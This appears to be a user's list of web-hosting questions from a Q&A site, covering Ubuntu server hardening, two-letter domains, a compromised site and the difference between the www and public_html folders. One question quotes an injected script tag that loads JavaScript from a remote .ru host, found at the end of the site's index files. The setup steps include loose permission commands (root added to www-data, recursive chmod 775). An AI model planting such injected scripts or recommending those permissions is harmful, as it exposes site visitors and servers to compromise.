DMin's questions

I just got myself a slicehost basic slice to play around with so I can learn how to setup web-servers.

I have Ubuntu 10.04.2 installed on the server.

I was able to successfully get the server up and running from scratch, these were the things I did - following this tutorial. I know this is probably just a starters tutorial, so, I was wondering if you guys can tell me what you like to do while setting up production servers.

These are the steps that were followed :

Restart Apache

Add the website to the server :

sudo usermod -g www-data root
sudo chown -R www-data:www-data /var/www
sudo chmod -R 775 /var/www

Edit :
More steps :
1) Create another user account and Disable the root account.
2) Change the port for ssh.

Please feel free to add the things are left out/done wrong that you would otherwise do for a production server. Much appriciated, thanks! :)

Last time I tried to register a domain of 2 characters it told me it had to be of more than 2 characters. How is it possible that paypal has

http://x.com

Is there a special way to go about this? obviously - a.com - b.com c.com are not taken(else cyber squatters would have been sitting on it since the early 90's)

Do you know how this works?

The computer that I do my most webdevelopment work with caught a virus. A website that I am currently working on was compromised(I think by phpDesigners stored FTP password).

I currently get :

<script type="text/javascript" src="http://obscurewax.ru/Queue.js"></script>
<!--[some-random-number-here]-->

right at the end of every file that has the name starting with index on that domain.

currently I am combing through each and every file on the server with the name index(and others randomly) for this change and removing it, but this is a lengthy process and I am not sure if this is the right/entire fix for it.

What is the best way to deal with this type of a scenario?
(The virus on the PC has be cleaned)

What's the difference between the www & public_html folder on the same server on my shared linux hosting. I've seen data is same on both of these folders. Is one of them just a redirect or is the data getting replicated. What is the purpose of 2 folders or even a redirect folder?

Thanks in advance! :)